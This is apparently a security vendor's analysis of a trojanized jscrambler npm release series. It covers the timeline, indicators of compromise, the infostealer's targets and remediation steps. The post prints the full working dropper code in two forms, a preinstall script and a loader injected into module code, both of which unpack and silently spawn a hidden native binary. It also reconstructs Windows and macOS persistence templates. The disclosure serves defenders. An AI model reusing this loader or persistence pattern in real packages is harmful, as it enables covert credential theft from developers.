Official jscrambler npm Package Compromised Across Multiple Releases
Table of Contents
TL;DR
The official jscrambler npm package, published by the legitimate jscrambler_ account ([email protected]), was trojanized on July 11, 2026. Over about three hours the attacker published five malicious releases (8.14.0, 8.16.0, 8.17.0, 8.18.0, and 8.20.0), interleaved with clean releases the maintainers appear to have pushed as remediation. Every malicious version carries the same native dropper. It unpacks a platform-matched, Rust-compiled infostealer from a bundled binary container and runs it detached. The stealer targets browser profile data (Chrome, Brave, Edge, Chromium), the Bitwarden browser extension, and Steam sessions, and installs persistence through Windows Task Scheduler and macOS LaunchAgents.
The attacker went further than a normal single-version compromise in two ways. First, they republished the identical payload at 8.16.0 just 19 minutes after a clean 8.15.0 shipped, so the first remediation did not close the credential or CI access. Second, at 8.18.0 they moved the dropper out of the preinstall hook and into the package’s own dist/index.js and dist/bin/jscrambler.js, where it runs when the module is required rather than at install time. A scanner that only flags suspicious install scripts sees nothing.
As of the latest check, latest points to a clean 8.22.0, and 8.14.0, 8.16.0, and 8.17.0 are deprecated as compromised. The two runtime-dropper versions, 8.18.0 and 8.20.0, are still published and not deprecated. No commit, tag, or release for any malicious version exists in the jscrambler GitHub repository, which points to an npm account or CI pipeline compromise rather than a source repository compromise. With roughly 60,000 monthly downloads, the blast radius is significant.
Impact:
- Installing or importing a malicious version runs a native binary that targets browser credentials across Chrome, Chromium, Brave, and Edge
- The Bitwarden browser extension (
nngceckbapebfimnlniiiahkandclblb) is explicitly targeted, putting stored vault data at risk - Steam session cookies (
steamLoginSecure,sessionid) are harvested - The payload installs persistent scheduled tasks (Windows) or LaunchAgents (macOS) that survive reboots
- The attacker reused one payload bundle, byte-identical across every malicious release, and changed only the trigger
- From 8.18.0 onward the dropper fires from the package’s normal code path, so auditing only for install hooks no longer detects it
Timeline (2026-07-11, UTC):
| Version | Published | Status |
|---|---|---|
| 8.13.0 | Jun 30 | Clean. Last release before the campaign |
| 8.14.0 | 15:12 | Malicious. preinstall dropper. Deprecated as compromised |
| 8.15.0 | 17:07 | Clean. Code byte-identical to 8.13.0 |
| 8.16.0 | 17:26 | Malicious. Identical payload reintroduced 19 minutes later. Deprecated |
| 8.17.0 | 17:41 | Malicious. preinstall dropper. Deprecated as compromised |
| 8.18.0 | 17:46 | Malicious. Dropper moved into dist/index.js and dist/bin/jscrambler.js. Not deprecated |
| 8.20.0 | 17:53 | Malicious. Same runtime dropper. Not deprecated |
| 8.22.0 | 18:12 | Clean. Current latest. Code byte-identical to 8.15.0 |
Versions 8.19.0 and 8.21.0 were never published.
Indicators of Compromise (IoC):
- Malicious versions with
preinstalldropper:[email protected],8.16.0,8.17.0 - Malicious versions with runtime dropper in module code:
[email protected],8.20.0 - Clean versions:
[email protected],8.15.0,8.22.0 - Payload container (
dist/intro.js), identical across all malicious versions: 7,837,238 bytes, magic1b 43 53 49 01(\x1bCSI\x01), SHA256a41a523ef9517aab37ed6eea0ec881821bdcb7aefcb5c5f603adc7907f868c86 - SHA256 (Linux ELF x86-64):
fbbcf4d8f98168f78f5c0c47a9ae56d59ec8ac84a7c9ca6b797fedfb8d62d2bd - SHA256 (Windows PE x86-64):
b7ca95d1b23c8e67416a25cedf741de0917c2096bbc9d24649eea7853d054903 - SHA256 (macOS Mach-O arm64):
c8fd47d36bdf7c825378593ab82ed8c24d1dc52e26b507812393e24e1d5201fd - Install hook (8.14.0, 8.16.0, 8.17.0):
"preinstall": "node dist/setup.js" - Runtime dropper (8.18.0, 8.20.0): an IIFE at the top of
dist/index.jsanddist/bin/jscrambler.jsthat readsdist/intro.js - Self-dependency (8.18.0, 8.20.0):
"jscrambler": "^8.17.0"listed in the package’s own dependencies - Bitwarden extension ID targeted:
nngceckbapebfimnlniiiahkandclblb - Host artifacts: hidden dotfiles in
os.tmpdir()(.{random}on Linux/macOS,.{random}.exeon Windows) - Windows Task Scheduler XML with
<Hidden>true</Hidden>, restart interval PT1M, count 999 - macOS LaunchAgent plist with
RunAtLoad,KeepAlive,StartInterval30s
Analysis
The compromise surface
Jscrambler is a commercial JavaScript protection platform. Their official npm CLI client, published under the jscrambler_ account ([email protected]), has ten maintainers, several with @jscrambler.com email addresses.
# Registry metadata for jscramblerMaintainers: jscrambler_ ([email protected]), antonio.soares ([email protected]), jose.cerqueira ([email protected]), f-ribeiro ([email protected]), vitormagano ([email protected]), ... and 5 othersVersion 8.13.0 was published on June 30, 2026, matching a GitHub commit from the same day. Version 8.14.0 appeared on July 11, 2026, with no corresponding GitHub commit, tag, or pull request. The GitHub repo’s latest tag is [email protected]. The attacker published directly to npm, bypassing the project’s normal release workflow.
The other packages in the jscrambler ecosystem (jscrambler-webpack-plugin, gulp-jscrambler, jscrambler-metro-plugin, grunt-jscrambler) were not affected. Their latest versions remain on the June 30 release and carry no install hooks.
The dropper
The only change to package.json between 8.13.0 and 8.14.0 is the addition of a preinstall script:
# diff package.json (8.13.0 vs 8.14.0) "eslint:fix": "eslint src/ --fix" "eslint:fix": "eslint src/ --fix", "preinstall": "node dist/setup.js"The dropper itself is 43 lines of clean, readable JavaScript. No obfuscation:
// dist/setup.js ([email protected])import { readFileSync, writeFileSync } from 'fs';import { join, dirname } from 'path';import { fileURLToPath } from 'url';import { gunzipSync } from 'zlib';import { spawn } from 'child_process';import { tmpdir } from 'os';
const __dirname = dirname(fileURLToPath(import.meta.url));
const PLATFORM_IDS = { linux: 0, win32: 1, darwin: 2 };
function ensureNativeRuntime() { const bundle = readFileSync(join(__dirname, 'intro.js')); const magic = Buffer.from([0x1b, 0x43, 0x53, 0x49, 0x01]); if (!bundle.slice(0, 5).equals(magic)) return;
const platformId = PLATFORM_IDS[process.platform]; if (platformId === undefined) return;
const count = bundle[5]; let offset = 6;
for (let i = 0; i < count; i++) { const platform = bundle[offset++]; offset += 8; const compressedSize = Number(bundle.readBigUInt64LE(offset)); offset += 8; const data = bundle.slice(offset, offset + compressedSize); offset += compressedSize;
if (platform !== platformId) continue;
const ext = platform === 1 ? String.fromCharCode(46, 101, 120, 101) : ''; const target = join(tmpdir(), '.' + Math.random().toString(36).slice(2) + ext); writeFileSync(target, gunzipSync(data), { mode: platform === 1 ? 0o644 : 0o755 });
try { const proc = spawn(target, [], { detached: true, stdio: 'ignore', windowsHide: true }); proc.unref(); } catch (_) {} break; }}
ensureNativeRuntime();The function name ensureNativeRuntime is social engineering aimed at anyone who might glance at the file. A few details worth noting:
- The
.exeextension on Windows is constructed viaString.fromCharCode(46,101,120,101)to avoid static string matching. That decodes to.exe - The output file is dot-prefixed (
'.' + Math.random()...) to hide it in directory listings on Unix systems detached: true,stdio: 'ignore', andproc.unref()ensure the spawned binary outlives the npm install processwindowsHide: truesuppresses the console window on Windows- The entire spawn is wrapped in a try/catch that swallows all errors
The binary container
The dist/intro.js file is 7,837,238 bytes (7.5 MB) of raw binary data, not JavaScript despite the .js extension. It uses a custom container format:
Offset Content0x00 Magic: 1b 43 53 49 01 (\x1bCSI\x01)0x05 Platform count: 030x06 Entry 0 (linux): platformId=0, decompressedSize=4521128, compressedSize=2411350, gzip data... Entry 1 (win32): platformId=1, decompressedSize=5155328, compressedSize=3340266, gzip data... Entry 2 (darwin): platformId=2, decompressedSize=3184979, compressedSize=2085565, gzip data...Each entry is a gzip-compressed native executable. After decompression:
| Platform | Format | Architecture | Decompressed Size |
|---|---|---|---|
| Linux | ELF 64-bit, dynamically linked | x86-64 | 4.31 MB |
| Windows | PE32+ console executable | x86-64 | 4.92 MB |
| macOS | Mach-O executable | arm64 (Apple Silicon) | 3.04 MB |
All three are stripped, Rust-compiled binaries. The Rust toolchain is identifiable from rustls TLS library strings, CRYPTOGAMS crypto module markers, and Rust-standard error handling patterns throughout the binary.
The infostealer payload
String analysis across all three binaries reveals a multi-capability infostealer. The C2 endpoints are not visible in plain strings, which means the binary likely decrypts its configuration at runtime using the embedded AES or ChaCha20 primitives. What is visible:
Browser credential theft. The Windows binary contains browser profile directory paths:
# Strings from win32_payload.exeLOCALAPPDATAGoogle\Chrome\User DataChromium\User DataBraveSoftware\Brave-Browser\User DataMicrosoft\Edge\User DataThe embedded SQLite engine (full CREATE TABLE statements for FTS indexes are present) suggests the binary reads browser databases directly rather than using browser APIs. The LevelDB reader strings (leveldb.BytewiseComparator, .ldb, MANIFEST-) point to reading local storage and extension data.
Password manager targeting. The Bitwarden browser extension ID appears in the Windows binary:
# Strings from win32_payload.exenngceckbapebfimnlniiiahkandclblbThis is Bitwarden’s official Chrome extension identifier. The binary reads the extension’s local storage to access vault data.
Steam session theft. Session cookie names from Steam’s authentication flow appear as a contiguous string:
# Strings from win32_payload.exesteamLoginSecuresessionidbrowseridtimezoneOffsetThese cookies grant authenticated access to a Steam account without credentials.
HTTP client with credential headers. All three binaries contain HTTP/1.1 request templates with authentication headers:
Authorization: BearerCookie:Credential=POSTThe Credential= string matches the AWS SigV4 signature format, though whether this is used for exfiltration infrastructure or credential harvesting is not determinable from static analysis alone.
Persistence mechanisms
Windows: Task Scheduler. The Windows binary contains a full Task Scheduler XML template:
<!-- Reconstructed from strings in win32_payload.exe --><RegistrationInfo><Description></Description></RegistrationInfo><Triggers></Triggers><Principals><Principal id="A"></Principal></Principals><Settings> <Hidden>true</Hidden> <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy> <ExecutionTimeLimit>PT0S</ExecutionTimeLimit> <RestartOnFailure> <Interval>PT1M</Interval> <Count>999</Count> </RestartOnFailure></Settings><Actions Context="A"><Exec><Command></Command></Exec></Actions></Task>The task is hidden, runs with an unlimited execution time, and restarts every minute up to 999 times if it fails. cmd.exe execution strings confirm it can run shell commands.
macOS: LaunchAgent. The macOS binary contains a LaunchAgent plist template:
<!-- Reconstructed from strings in darwin_payload --><?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plist version="1.0"><dict> <key>Label</key> <string>...</string> <key>ProgramArguments</key> <array><string>...</string></array> <key>RunAtLoad</key> <!-- ... --> <key>KeepAlive</key> <!-- ... --> <integer>30</integer></dict></plist>RunAtLoad and KeepAlive with a 30-second StartInterval ensures the binary restarts on login and relaunches if killed.
Linux: BPF capabilities. The Linux binary links against libbpf.so.1, the BPF (Berkeley Packet Filter) library used for kernel-level network and tracing operations. It also reads /proc/self/mountinfo and /proc/self/cgroup for container and environment detection.
The attacker republished after each remediation
Over about three hours the attacker and the maintainers traded releases. Version 8.14.0 shipped the dropper at 15:12 UTC. Almost two hours later, at 17:07, a clean 8.15.0 appeared with the preinstall hook removed and dist/setup.js and dist/intro.js gone. Its dist/index.js and dist/bin/jscrambler.js are byte-identical to 8.13.0, so 8.15.0 reads as a genuine remediation release.
The attacker struck again 19 minutes later. Version 8.16.0 (17:26) restored the exact "preinstall": "node dist/setup.js" hook and re-added dist/intro.js with the same SHA256 (a41a523e...) as the 8.14.0 bundle. The attacker did not rebuild the container, just republished it. That put them back inside the publishing path after the maintainers had responded once, so the first remediation did not revoke their access. Version 8.17.0 (17:41) kept the same preinstall dropper.
The pivot from install hook to runtime execution
At 8.18.0 the attacker changed how the dropper runs. The preinstall hook and dist/setup.js are gone. Instead the attacker injected the dropper as an IIFE at the top of the compiled dist/index.js and dist/bin/jscrambler.js, above the real module code (the _fs, _path, _zlib, _child_process, and _os aliases are the Babel-compiled require calls the file declares just above):
// dist/index.js ([email protected] and 8.20.0), injected above the module's own code(function () { var PLATFORM_IDS = { linux: 0, win32: 1, darwin: 2 }; try { var bundle = (0, _fs.readFileSync)((0, _path.join)(__dirname, 'intro.js')); var magic = Buffer.from([0x1b, 0x43, 0x53, 0x49, 0x01]); if (!bundle.slice(0, 5).equals(magic)) return; var platformId = PLATFORM_IDS[process.platform]; if (platformId === undefined) return; var count = bundle[5]; var offset = 6; for (var i = 0; i < count; i++) { var platform = bundle[offset++]; offset += 8; var compressedSize = Number(bundle.readBigUInt64LE(offset)); offset += 8; var data = bundle.slice(offset, offset + compressedSize); offset += compressedSize; if (platform !== platformId) continue; var ext = platform === 1 ? '.exe' : ''; var target = (0, _path.join)((0, _os.tmpdir)(), '.' + Math.random().toString(36).slice(2) + ext); (0, _fs.writeFileSync)(target, (0, _zlib.gunzipSync)(data), { mode: platform === 1 ? 0o644 : 0o755 }); try { var proc = (0, _child_process.spawn)(target, [], { detached: true, stdio: 'ignore', windowsHide: true }); proc.unref(); } catch (_) {} break; } } catch (_) {}})();The behavior is identical to setup.js. It reads dist/intro.js, checks the magic header, decompresses the platform-matched binary, writes it to a hidden random file in os.tmpdir(), and spawns it detached. The container it reads is still byte-identical to the one from 8.14.0. Only the trigger moved. The payload now fires whenever the module is imported or the CLI runs, not at install time.
This defeats a common supply chain heuristic. Many scanners and manual reviews flag packages that add preinstall, install, or postinstall scripts, on the assumption that install-time code execution is the risky surface. Versions 8.18.0 and 8.20.0 have no install scripts. Their dist/index.js and dist/bin/jscrambler.js differ from the clean 8.13.0 baseline, but a reviewer looking only at package.json scripts would see a clean package. One small tell disappeared in the move. The install-hook dropper built the .exe extension with String.fromCharCode(46, 101, 120, 101) to dodge static matching, while the injected version uses a plain '.exe' literal.
Both 8.18.0 and 8.20.0 also add a self-referential entry to their own dependencies:
// package.json dependencies ([email protected] and 8.20.0)"jscrambler": "^8.17.0"A package listing its own name as a dependency has no clear legitimate purpose. In some install topologies it could pull a compromised sibling version into the tree. What that does in a real dependency graph is unclear, and maintainers should assess it.
What changed in the package files
In the preinstall versions (8.14.0, 8.16.0, 8.17.0) the attacker only added code. All 13 existing files in dist/, including the main entry point dist/index.js and the CLI binary dist/bin/jscrambler.js, are byte-identical to 8.13.0. The attacker added one package.json field and two files and touched nothing else. That changed with the runtime-dropper versions. In 8.18.0 and 8.20.0 the attacker modified dist/index.js and dist/bin/jscrambler.js to carry the injected loader, so those two files no longer match the clean baseline.
The four other packages in the jscrambler npm ecosystem ([email protected], [email protected], [email protected], [email protected]) remain on their June 30 releases with no install hooks and no new files.
Remediation
Anyone who installed any of [email protected], 8.16.0, 8.17.0, 8.18.0, or 8.20.0 should treat the machine as compromised. For the preinstall versions the payload ran at install time, before any application code. For 8.18.0 and 8.20.0 it runs whenever the module is required or the CLI is invoked, so any build or process that imported jscrambler triggered it. Rotating browser-stored credentials, Bitwarden master passwords, and Steam sessions is the minimum response. On Windows, check Task Scheduler for hidden tasks. On macOS, inspect ~/Library/LaunchAgents/ for unfamiliar plists.
Because 8.18.0 and 8.20.0 are still published and not deprecated, an unpinned install that resolved to either one before latest moved to 8.22.0 would have pulled the runtime dropper, and an install-script audit would not have caught it. Pin to a version confirmed clean by reading its code, not by the absence of an install script. The current latest, 8.22.0, has dist/index.js and dist/bin/jscrambler.js byte-identical to the clean 8.15.0 and 8.13.0. Until the maintainers confirm the publishing credential is rotated and the access path is closed, treat any new release with caution, since the attacker has re-entered the pipeline once after a remediation.
SafeDep’s Package Manager Guard (pmg) blocks packages with a malware verdict before they reach your environment. The verdict comes from analyzing the package payload rather than from spotting a suspicious install hook, so the same gate that would have rejected the preinstall versions also covers 8.18.0 and 8.20.0, where the dropper hides in the module’s own code and there is no install script to flag.
- malware
- npm
- supply-chain
- infostealer
- account-compromise
Author
SafeDep Team
safedep.io
Share
The Latest from SafeDep blogs
Follow for the latest updates and insights on open source security & engineering
nodemon-sudo: an npm Backdoor With No Install Script
nodemon-sudo copies the real nodemon byte for byte, adds nothing malicious to its own code, and injects one extra dependency, tslint-conf, a repackaged pino logger carrying a backdoor. There is no...
The Polymarket Trap: A Fake Arbitrage Bot, Ten npm Accounts, and Four Ways to Deliver an Infostealer
A GitHub repository posing as a Polymarket arbitrage bot accumulated 53 forks before anyone flagged the malicious npm package buried in its dependencies. Behind that repo: ten coordinated npm...
@marketfront: 25 npm Packages Reuse a Known Lure
On July 1, 2026, npm user marketfront batch-published 25 packages carrying the same README lure SafeDep has tracked across four earlier accounts (mr.4nd3r50n, pik-libs, t-in-one, emcd-vue): "Internal...
Miasma Worm Infects Multiple LeoPlatform npm Packages
A Miasma worm variant compromised a single maintainer account and used it to publish infected versions of 20 LeoPlatform npm packages within a 3-second window. The worm also pushed weaponized GitHub...
Ship Code.
Not Malware.
Start free with open source tools on your machine. Scale to a unified platform for your organization.